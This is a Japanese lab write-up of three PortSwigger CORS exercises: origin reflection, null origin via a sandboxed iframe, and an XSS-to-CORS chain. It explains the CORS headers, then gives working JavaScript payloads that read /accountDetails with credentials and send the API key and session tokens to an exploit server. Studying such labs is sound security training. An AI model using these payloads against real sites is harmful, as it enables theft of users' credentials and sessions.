PortSwigger - Cross-origin resource sharing (CORS)

3 min readPortSwigger#Web#CORS

CORSとは

あるWebサイトから、別のWebサイトのデータを取得してよいかを決める仕組み

Progress
  • CORS vulnerability with basic origin reflection
  • CORS vulnerability with trusted null origin
  • CORS vulnerability with trusted insecure protocols

CORS vulnerability with basic origin reflection

/accountDetails にアクセスすると、レスポンスにユーザ情報が表示されている。

HTTP/2 200 OK
Access-Control-Allow-Credentials: true
Content-Type: application/json; charset=utf-8
X-Frame-Options: SAMEORIGIN
Content-Length: 196

{
  "username": "wiener",
  "email": "cors@swigger.com",
  "apikey": "D8RIRLyLgQf2NIjI1XdH2zlMlRflpmeW",
  "sessions": [
    "yHAIltuEl6aoWsNqV3UhT774Al6oZGjy",
    "0JRVkk8Xfqj6mqiDNlW6jvfMDo2ryWXn"
  ]
}

Access-Control-Allow-Credentials:CookieAuthorizationなど、認証情報つきリクエストのレスポンスを JS に読ませてよいか。falseの場合はレスポンスヘッダーには表示されない。

fetch('https://LAB/accountDetails', {
  credentials: 'include'
})
// trueの場合resを使って本文を読むことができる
.then(res => res.json())
.then(data => {
  console.log(data)
})
// 許可されていない場合読むことができずCORSエラーになる
.catch(err => {
  console.log(err) 
})

Access-Control-Allow-Origin: はどの Origin の JS にレスポンスを読ませるか。

*・固定で「誰でもOK」 ・credentialsなしの公開API向け
https://app.example.com・固定で特定のoriginだけ許可
<Originの動的な値>・動的に Origin を見て返している ・allowlistが厳密ならOK ・何でも反射していたら危険
null・null originを許可

Access-Control-Allow-Origin: * の場合、Access-Control-Allow-Credentials: true であっても認証付きレスポンスは読むことができないのでCORSエラーとなる。

Cookieの設定を見てみるとSameSite: None になっており、ここがもしLax だった場合、fetch はトップレベルGETではないのでCookieが送信されず今回の攻撃は成立しない

<script>
  fetch('https://web-security-academy.net/accountDetails',{
    credentials: 'include'
  })
  .then(res => res.json()) // res.text()にすると全文文字列になり特定のキーが取れない(data.apikey)
  .then(data => {
    fetch('https://exploit-server.net/log?key=' + encodeURIComponent(JSON.stringify(data)))
  })
</script>

CORS vulnerability with trusted null origin

前章CORS vulnerability with basic origin reflection と内容はよく似ていて、null originということでAccess-Control-Allow-Origin: null になることが考えられる。 前章のコードを使用してnull origin として実行させるにはiframe.sandbox を使用するとoriginnullで実行される。

iframesandboxをつけないとiframeoriginになりnull origin にならない、sandboxallow-scriptsをつけないとiframe内の JS が実行されない。

<iframe sandbox="allow-scripts" src="
<script>
  fetch('https://web-security-academy.net/accountDetails',{
    credentials: 'include'
  })
  .then(res => res.json())
  .then(data => {
    fetch('https://exploit-server.net/log?key=' + encodeURIComponent(JSON.stringify(data)))
  })
</script>
"></iframe>

CORS vulnerability with trusted insecure protocols

今回のケースは、CORSとXSS 2つの脆弱性が存在し、XSSを介してCORSの攻撃を成立させるものになる。

View details をよく調査すると、Check Stock をクリックするとstock.lab-domain のリクエストが発生している。productId=1&storeId=1productId=の後に適当な文字列を入れると文字列を含んだエラーが返ってくる。

https://stock.web-security-academy.net/?productId=test&storeId=1
h4>ERROR</h4>Invalid product ID: test

alertを発火させることができ、XSSの脆弱性が潜んで切ることがわかる。

前章CORS vulnerability with basic origin reflectionのコードを挿入 <script>が二重になり、HTML・URLが壊れやすいのでURLエンコードする必要がある。

<script>
  document.location = "http://stock.web-security-academy.net/?productId=4%3Cscript%3Efetch('https%3A%2F%2Fweb-security-academy.net%2FaccountDetails'%2C%7Bcredentials%3A'include'%7D).then(res%3D%3Eres.json()).then(data%3D%3E%7Bfetch('https%3A%2F%2Fexploit-server.net%2Flog%3Fkey%3D'%2BencodeURIComponent(JSON.stringify(data)))%7D)%3C%2Fscript%3E&storeId=1"
</script>